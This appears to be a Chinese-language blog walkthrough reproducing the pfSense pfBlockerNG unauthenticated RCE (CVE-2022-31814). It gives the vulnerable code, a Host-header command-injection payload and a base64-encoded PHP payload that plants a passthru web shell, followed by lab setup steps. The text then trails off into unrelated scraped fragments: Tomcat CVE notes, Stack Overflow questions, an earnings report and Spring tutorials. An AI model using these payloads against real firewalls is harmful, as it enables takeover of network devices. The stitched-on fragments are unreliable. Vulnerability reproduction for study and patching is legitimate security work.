PfSense系统的插件pfBlockerNG引起的未授权RCE漏洞
pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件
FreeBSD 是一种类UNIX操作系统
pfBlockerNG是一个pfSense的插件(默认不安装),提供了广告、恶意内容和地理拦截功能。
pfSense 2.6.0
pfBlockerNG<=2.1.4_26
位置/usr/local/www/pfblockerng/www/index.php有如下代码:
// Query DNSBL(邮件黑名单) Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
$_SERVER['HTTP_HOST']是一个用户可控的输入,攻击者通过host 头来修改该参数
即/usr/bin/grep -l ' "[用户可控] 60 IN A' /var/db/pfblockerng/dnsblalias/*
/usr/bin/grep
/usr/bin/grep '要匹配的字符串' '文件的路径'
-l, --files-with-matches print only names of FILEs containing matches,打印仅包含匹配项字符串的文件名
用法如下图:
验证payload可行性
/usr/bin/grep -l ' \"' *; sleep 5 ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
可见start response timer时间延迟了约5s
本地执行命令测试如下图

默认情况下,pfSense中没有安装“base64-d”二进制文件,但python3.8安装了,因此,我们能够编写和解码base64有效载荷,并将所有内容传输到php-cli二进制文件中:
测试的php代码
<?php echo("HELL");?>
base64编码
PD9waHAgZWNobygiSEVMTCIpPz4K
python解码
python -m base64 -d
然后传输到php
| php
拼接起来的命令为:
/usr/bin/grep -l ' \"' *;echo 'PD9waHAgZWNobygiSEVMTCIpPz4K'|python3.8 -m base64 -d|php ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
结果如图,成功解析php代码并输出了HELL

php代码:
<?php $a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru($_GET["c"]));?>';fwrite($a,$t);fclose($a);?>
passthru函数
php端
$path="python 脚本绝对路径/脚本文件名.py "; //注意:末尾要加一个空格,否则传参失败 $params = "要传入python脚本的参数"; //传递给python脚本的入口参数 passthru($path.$params." ".$params2);python端
import sys params = sys.argv[1] #即为获取到的PHP传入python的接口参数通过以上即可实现php通过passthru函数来调用执行Python脚本
base64编码
PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo=
拼接起来的命令为:
/usr/bin/grep -l ' \"' *;echo 'PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo='|python3.8 -m base64 -d|php ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
成功注入

在网站上访问该木马文件,成功getshell

最后拿ihteam的脚本跑一下,成功rce

新建虚拟机,选择FreeBSD
配置如下,直接使用从官网下好的pfsense的iso文件
打开然后默认enter
安装好重启后,选2配置LAN的ip,配好后如下图:

然后浏览器直接输入192.168.153.139即可访问web界面
输入默认账户admin/pfsense完成登录

进入后选择配置向导

配置网络
到第四步配置如下:

后面默认,然后成功上网

系统-高级选项-管理员访问-安全shell下
启用安全ssh和允许代理转发的启用ssh-代理转发支持。然后xshell连接对应ip地址,用户是root即可连接
[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg search python
frr7-pythontools-7.5.1_3 Provide configuration reload functionality for FRR
py38-gitpython-3.1.24 Python Git Library
python38-3.8.12_1 Interpreted object-oriented programming langua
[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg install python38-3.8.12_1

试了python,python3,python38都没找到指令
最后进入/usr/local/bin目录下查看,发现是python3.8,如下图

插件管理里搜索pfBlockerNG安装,只找到3.2.0_3版本的,先装上

github上找到2.1.4_26版本的pfBlockerNG插件
https://github.com/pfsense/FreeBSD-ports/tree/devel/net
https://github.com/pfsense/FreeBSD-ports/commit/b57e24307dd32679f55dd7e38dc29910168886a4

然后点进对应版本的freebsd-port下载

解压zip包的net/pfsense-pkg-pfBlockerNG,找到pfBlockerNG的index.php文件
ps:因为漏洞只出现在该文件中,所以直接把2.1.4_26版本的index.php文件下载下来上传到防火墙系统里覆盖已安装的3.2.0_3版本的index.php就行
在这个地方上传文件

成功上传返回路径

然后打开命令行,使新上传的index.php文件直接覆盖3.2.0_3版本的
mv /tmp/index.php /usr/local/www/pfblockerng/www/index.php
PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)
PHP通过passthru()函数实现与python脚本的交互
payload:pfBlockerNG 2.1.4_26 - 远程代码执行 (RCE) - PHP 网络应用程序漏洞利用 (exploit-db.com)
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
Doorkeeper中Token和Grant的区别我搞不清楚。Doorkeeper在哪个时刻创建访问授权,何时创建访问token?文档似乎对此什么也没说,现在我正在阅读代码,但不是十几行。 最佳答案 我还建议阅读documentationofoauth2据我了解,Doorkeeper也是基于该文档中描述的协议(protocol)。在doorkeeper中,你会先获得accessgrant,然后是accesstoken。访问授权通常只存在很短的时间(doorkeeper中的默认值为10分钟)。您将通过向api-url/oauth/au
3月26日,映宇宙(HK:03700,即“映客”)发布截至2022年12月31日的2022年度业绩财务报告。财报显示,映宇宙2022年的总营收为63.19亿元,较2021年同期的91.76亿元下降31.1%。2022年,映宇宙的经营亏损为4698.7万元,2021年同期则为净利润4.57亿元;期内亏损(净亏损)为1.68亿元,2021年同期的净利润为4.33亿元;非国际财务报告准则经调整净利润为3.88亿元,2021年同期为4.82亿元,同比下降19.6%。 映宇宙在财报中表示,收入减少主要是由于行业竞争加剧,该集团对旗下产品采取更为谨慎的运营策略以应对市场变化。不过,映宇宙的毛利率则有所提升
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
我正在尝试为自己创建一个直接连接到我的日历的应用程序……但我从不想参与重新验证。我只想编写一次身份验证代码并完成它。授权码如下:key=Google::APIClient::PKCS12.load_key(SERVICE_ACCOUNT_PKCS12_FILE_PATH,PASSWORD)asserter=Google::APIClient::JWTAsserter.new(SERVICE_ACCOUNT_EMAIL,'https://www.googleapis.com/auth/calendar',key)@client=Google::APIClient.new@client.a
我正在努力让google-api-ruby-clientgem按照这里的基本用法示例工作:基本用法require'google/apis/drive_v2'Drive=Google::Apis::DriveV2#Aliasthemoduledrive=Drive::DriveService.newdrive.authorization=...#SeeGoogleauthorSignetlibraries#SearchforfilesinDrive(firstpageonly)files=drive.list_files(q:"titlecontains'finances'")files
我正在使用Deviseauthtokengem用于验证我的Rails应用程序的某些部分。但是,当我尝试使用注册路径创建新用户时,出现以下错误{"errors":["Authorizedusersonly."]}。这是我用于测试的rspec代码,it'createsauserusingemail/passwordcombo'dopostapi_user_registration_path,{email:'xxx',password:'yyy',password_confirmation:'yyy'}putslast_response.bodyexpect(last_response.bo
有道无术,术尚可求,有术无道,止于术。本系列SpringBoot版本3.0.4本系列SpringSecurity版本6.0.2本系列SpringAuthorizationServer版本1.0.2源码地址:https://gitee.com/pearl-organization/study-spring-security-demo文章目录前言1.OAuth2AuthorizationServerMetadataEndpointFilter2.OAuth2AuthorizationEndpointFilter3.OidcProviderConfigurationEndpointFilter4.N
如何用IDEA2022创建并初始化一个SpringBoot项目?目录如何用IDEA2022创建并初始化一个SpringBoot项目?0. 环境说明1. 创建SpringBoot项目 2.编写初始化代码0. 环境说明IDEA2022.3.1JDK1.8SpringBoot1. 创建SpringBoot项目 打开IDEA,选择NewProject创建项目。 填写项目名称、项目构建方式、jdk版本,按需要修改项目文件路径等信息。 选择springboot版本以及需要的包,此处只选择了springweb。 此处需特别注意,若你使用的是jdk1
我正在寻找一个很好的基于角色的授权解决方案来与Authlogic一起使用。有人有什么好的建议吗?如果可能,请根据您的经验列出一些优缺点。 最佳答案 Acl9与AuthLogic配合得很好:http://github.com/be9/acl9/tree/master 关于ruby-on-rails-与Authlogic一起使用的一些好的角色授权解决方案是什么?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.c